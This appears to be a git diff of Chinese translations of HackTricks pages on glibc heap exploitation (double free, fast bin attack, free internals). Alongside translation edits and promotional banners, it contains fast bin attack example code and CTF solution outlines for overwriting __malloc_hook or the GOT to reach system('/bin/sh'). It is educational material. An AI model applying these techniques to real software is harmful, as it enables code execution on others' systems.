* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
如果释放一个内存块超过一次,可能会破坏分配器的数据并打开攻击的大门。具体情况如下:当释放一个内存块时,它会返回到空闲块列表中(例如“快速块”)。如果连续两次释放相同的内存块,则分配器会检测到并报错。但是,如果**在两次释放之间释放另一个块,则会绕过双重释放检查**,导致数据损坏。
|
||||
如果释放一块内存超过一次,可能会破坏分配器的数据并打开攻击的大门。具体情况如下:当释放一块内存时,它会回到空闲块列表中(例如“快速块”)。如果连续两次释放相同的内存块,分配器会检测到并报错。但是,如果**在两次释放之间释放另一块内存块,则会绕过双重释放检查**,导致数据损坏。
|
||||
|
||||
现在,当您请求新的内存(使用`malloc`)时,分配器可能会给您一个**已经被释放两次的块**。这可能导致两个不同的指针指向相同的内存位置。如果攻击者控制其中一个指针,他们可以更改该内存的内容,这可能导致安全问题,甚至允许他们执行代码。
|
||||
现在,当您请求新的内存(使用 `malloc`)时,分配器可能会给您一个**已经被释放两次的块**。这可能导致两个不同的指针指向相同的内存位置。如果攻击者控制其中一个指针,他们可以更改该内存的内容,这可能导致安全问题,甚至允许他们执行代码。
|
||||
|
||||
示例:
|
||||
```c
|
||||
|
@ -92,7 +93,7 @@ printf("i2: %p\n", (void *)i1);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
在这个例子中,在用多个已释放的块填充tcache后(7个),代码**释放了块`h`,然后是块`i`,然后再次释放`h`,导致双重释放**(也称为Fast Bin dup)。这打开了重新分配时接收重叠内存地址的可能性,意味着两个或更多指针可以指向相同的内存位置。通过一个指针操纵数据然后可以影响另一个,从而创建了严重的安全风险和潜在的利用可能。
|
||||
在这个例子中,在用多个已释放的块填充tcache后(7个),代码**释放了块`h`,然后是块`i`,然后再次释放`h`,导致双重释放**(也称为Fast Bin dup)。这打开了重新分配时接收重叠内存地址的可能性,意味着两个或更多指针可以指向同一内存位置。通过一个指针操纵数据然后可以影响另一个,从而创建了严重的安全风险和潜在的利用可能性。
|
||||
|
||||
执行后,注意**`i1`和`i2`获得了相同的地址**:
|
||||
|
||||
|
@ -122,33 +123,34 @@ h1: 0xaaab0f0c2380
|
|||
## 示例
|
||||
|
||||
* [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
|
||||
* 我们只能分配Fast Bin大小的块,除了大小为`0x70`,这可以防止通常的`__malloc_hook`覆写。
|
||||
* 我们只能分配Fast Bin大小的块,除了大小为`0x70`的情况,这可以防止通常的`__malloc_hook`覆写。
|
||||
* 相反,我们使用以`0x56`开头的PIE地址作为Fast Bin dup的目标(1/2的几率)。
|
||||
* 存储PIE地址的一个地方是在`main_arena`中,它位于Glibc内部并靠近`__malloc_hook`。
|
||||
* 我们针对`main_arena`的特定偏移量来分配一个块,并继续分配块直到达到`__malloc_hook`以获得代码执行。
|
||||
* 我们针对`main_arena`的特定偏移量来分配一个块,并继续分配块直到达到`__malloc_hook`以获取代码执行权限。
|
||||
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
|
||||
* 使用Tcache bins和一个空字节溢出,我们可以实现双重释放情况:
|
||||
* 使用Tcache bins和空字节溢出,我们可以实现双重释放情况:
|
||||
* 我们分配三个大小为`0x110`的块(`A`,`B`,`C`)
|
||||
* 我们释放`B`
|
||||
* 我们释放`A`并重新分配以使用空字节溢出
|
||||
* 现在`B`的大小字段为`0x100`,而不是`0x111`,所以我们可以再次释放它
|
||||
* 我们有一个大小为`0x110`的Tcache-bin和一个大小为`0x100`的指向相同地址。因此我们有一个双重释放。
|
||||
* 我们有一个大小为`0x110`的Tcache-bin和一个大小为`0x100`的Tcache-bin指向同一地址。所以我们有一个双重释放。
|
||||
* 我们利用双重释放使用[Tcache poisoning](tcache-bin-attack.md)
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 快速 Bin 攻击
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
|
@ -24,7 +25,7 @@
|
|||
|
||||
由于快速 Bin 是一个单链表,与其他 Bin 相比,保护措施要少得多,只需**修改释放的快速 Bin 块中的地址**就足以**在任何内存地址后分配一个块**。
|
||||
|
||||
总结一下:
|
||||
总结如下:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```c
|
||||
|
@ -44,7 +45,7 @@ ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be ab
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
你可以在这个非常详细解释的代码示例中找到完整的示例:[https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
|
||||
您可以在[https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html)找到一个非常详细解释的代码示例:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
@ -134,7 +135,7 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
|||
}
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
如果可以覆盖全局变量 **`global_max_fast`** 的值为一个大数,这将允许生成更大尺寸的 fast bin chunks,潜在地允许在以前不可能的情况下执行 fast bin 攻击。这种情况在 [large bin attack](large-bin-attack.md) 和 [unsorted bin attack](unsorted-bin-attack.md) 的情境下非常有用。
|
||||
如果可以覆盖全局变量 **`global_max_fast`** 的值为一个大数,这将允许生成更大尺寸的 fast bin chunks,潜在地允许在以前不可能的情况下执行 fast bin 攻击。这种情况在 [large bin attack](large-bin-attack.md) 和 [unsorted bin attack](unsorted-bin-attack.md) 的情境中非常有用。
|
||||
{% endhint %}
|
||||
|
||||
## 示例
|
||||
|
@ -142,16 +143,16 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
|||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
|
||||
* 可以分配块,释放它们,读取它们的内容并填充它们(利用溢出漏洞)。
|
||||
* **Consolidate chunk for infoleak**: 该技术基本上是利用溢出来创建一个假的 `prev_size`,使一个先前的块被放入一个更大的块中,因此在分配包含另一个块的更大块时,可以打印它的数据并泄漏到 libc 的地址(`main_arena+88`)。
|
||||
* **Overwrite malloc hook**: 通过利用前一个重叠的情况,有可能有两个指向相同内存的块。因此,释放它们两个(在中间释放另一个块以避免保护),就有可能将同一个块放入 fast bin 两次。然后,可以再次分配它,覆盖下一个块的地址,指向 `__malloc_hook` 之前的位置(因此指向 malloc 认为是空闲大小的整数 - 另一个绕过),再次分配它,然后分配另一个块,该块将接收一个地址指向 malloc 钩子。\
|
||||
* **Overwrite malloc hook**: 通过利用前一个重叠的情况,有可能有两个指向相同内存的块。因此,释放它们两个(在中间释放另一个块以避免保护),就有可能将同一个块放入 fast bin 两次。然后,可以再次分配它,覆盖下一个块的地址,指向 `__malloc_hook` 之前的位置(这样它指向 malloc 认为是空闲大小的整数 - 另一个绕过),再次分配它,然后分配另一个块,该块将接收一个地址到 malloc 钩子。\
|
||||
最后在其中写入一个 **one gadget**。
|
||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
|
||||
* 存在堆溢出和使用后释放以及双重释放,因为当释放一个块时,可以重用并重新释放指针。
|
||||
* **Libc info leak**: 只需释放一些块,它们将获得指向主要 arena 位置的指针。由于可以重用已释放的指针,只需读取此地址即可。
|
||||
* **Fast bin attack**: 所有分配的指针都存储在一个数组中,因此我们可以释放几个 fast bin 块,在最后一个块中覆盖地址,指向这些指针数组之前的位置。然后,分配几个相同大小的块,我们将首先得到合法的块,然后得到包含指针数组的伪造块。现在可以覆盖此分配指针,使得 `free` 的 GOT 地址指向 `system`,然后在块 1 中写入 `"/bin/sh"`,然后调用 `free(chunk1)`,而不是执行 `system("/bin/sh")`。
|
||||
* **Fast bin attack**: 所有分配的指针都存储在一个数组中,因此我们可以释放几个 fast bin 块,在最后一个块中覆盖地址,指向这些指针数组之前的位置。然后,分配几个相同大小的块,我们将首先获得合法的块,然后获得包含指针数组的伪造块。现在可以覆盖此分配指针,使得 `free` 的 GOT 地址指向 `system`,然后在块 1 中写入 `"/bin/sh"`,然后调用 `free(chunk1)`,而不是执行 `system("/bin/sh")`。
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||
* 利用一个字节溢出来滥用未排序的块以获取 libc 信息泄漏,然后执行 fast bin 攻击以用 one gadget 地址覆盖 malloc hook
|
||||
* 利用一个字节溢出来滥用未排序的块以获取 libc 信息泄漏,然后执行 fast bin 攻击以用 one gadget 地址覆盖 malloc 钩子
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
|
||||
* 在利用未排序块和 UAF 泄漏 libc 地址和 PIE 地址的信息泄漏后,此 CTF 的利用使用 fast bin 攻击在指向受控块的指针所在的位置分配一个块,因此可以覆盖某些指针以将一个 one gadget 写入 GOT
|
||||
* 在利用未排序块的 UAF 泄漏 libc 地址和 PIE 地址的信息泄漏后,此 CTF 的利用使用 fast bin 攻击在指向受控块的指针所在的位置分配一个块,因此可以覆盖某些指针以将一个 one gadget 写入 GOT
|
||||
* 您可以找到通过未排序块攻击滥用的 Fast Bin 攻击:
|
||||
* 请注意,在执行 fast bin 攻击之前,滥用自由列表以泄漏 libc/堆地址(如果需要)是很常见的。
|
||||
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
|
@ -163,16 +164,17 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
|||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 **HackTricks** 和 **HackTricks Cloud** github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,17 +1,33 @@
|
|||
# 堆内存函数
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**.
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**.
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,30 @@
|
|||
# free
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
|
||||
## Free函数总结 <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
(本摘要未解释任何检查,并为简洁起见省略了一些情况)
|
||||
|
||||
1. 如果地址为null,则不执行任何操作
|
||||
2. 如果块是mmaped,则取消映射并完成
|
||||
2. 如果块是mmaped,则解除映射并完成
|
||||
3. 调用`_int_free`:
|
||||
1. 如果可能,将块添加到tcache
|
||||
2. 如果可能,将块添加到快速bin
|
||||
3. 调用`_int_free_merge_chunk`以合并块(如果需要)并将其添加到未排序列表
|
||||
1. 如果可能,将块添加到tcache
|
||||
2. 如果可能,将块添加到快速bin
|
||||
3. 调用`_int_free_merge_chunk`以合并块(如果需要)并将其添加到未排序列表
|
||||
|
||||
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
|
@ -31,12 +32,8 @@
|
|||
|
||||
* 如果传递的地址为Null(0),则不执行任何操作。
|
||||
* 检查指针标签
|
||||
* 如果块是`mmaped`,则取消映射并完成
|
||||
* 如果不是,则添加颜色并对其调用`_int_free`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>__lib_free 代码</summary>
|
||||
* 如果块是`mmaped`,则解除映射并完成
|
||||
* 如果不是,则添加颜色并调用`_int_free`。
|
||||
```c
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
|
@ -94,12 +91,12 @@ libc_hidden_def (__libc_free)
|
|||
|
||||
它从一些检查开始,确保:
|
||||
|
||||
- **指针**是**对齐**的,否则触发错误 `free(): invalid pointer`
|
||||
- **大小**不小于最小值,并且**大小**也是**对齐**的,否则触发错误:`free(): invalid size`
|
||||
* **指针**是**对齐**的,否则会触发错误 `free(): invalid pointer`
|
||||
* **大小**不小于最小值,并且**大小**也是**对齐**的,否则会触发错误:`free(): invalid size`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free 开始</summary>
|
||||
<summary>_int_free start</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
|
||||
|
||||
|
@ -187,7 +184,7 @@ return;
|
|||
|
||||
首先检查大小是否适合快速分配区,并检查是否可能将其设置为接近顶部块。
|
||||
|
||||
然后,将释放的块添加到快速分配区的顶部,同时执行一些检查:
|
||||
然后,在执行一些检查的同时,将释放的块添加到快速分配区的顶部:
|
||||
|
||||
- 如果块的大小无效(太大或太小),触发:`free(): invalid next size (fast)`
|
||||
- 如果添加的块已经是快速分配区的顶部:`double free or corruption (fasttop)`
|
||||
|
@ -272,7 +269,7 @@ if (have_lock && old != NULL
|
|||
malloc_printerr ("invalid fastbin entry (free)");
|
||||
}
|
||||
```
|
||||
### \_int\_free 结尾 <a href="#int_free" id="int_free"></a>
|
||||
### \_int\_free 最终步骤 <a href="#int_free" id="int_free"></a>
|
||||
|
||||
如果块尚未分配到任何 bin 上,则调用 `_int_free_merge_chunk`。
|
||||
```c
|
||||
|
@ -307,12 +304,12 @@ munmap_chunk (p);
|
|||
|
||||
## \_int\_free\_merge\_chunk
|
||||
|
||||
此函数将尝试将大小为SIZE字节的块P与其相邻块合并。将结果块放在未排序的bin列表中。
|
||||
该函数将尝试将大小为SIZE字节的块P与其相邻块合并。将结果块放入未排序的bin列表中。
|
||||
|
||||
执行一些检查:
|
||||
|
||||
- 如果块是顶部块:`double free or corruption (top)`
|
||||
- 如果下一个块超出了arena的边界:`double free or corruption (out)`
|
||||
- 如果下一个块在arena边界之外:`double free or corruption (out)`
|
||||
- 如果块未标记为已使用(在以下块的`prev_inuse`中):`double free or corruption (!prev)`
|
||||
- 如果下一个块的大小太小或太大:`free(): invalid next size (normal)`
|
||||
- 如果前一个块未被使用,它将尝试合并。但是,如果prev\_size与前一个块中指示的大小不同:`corrupted size vs. prev_size while consolidating`
|
||||
|
@ -369,16 +366,17 @@ _int_free_maybe_consolidate (av, size);
|
|||
```
|
||||
</details>
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
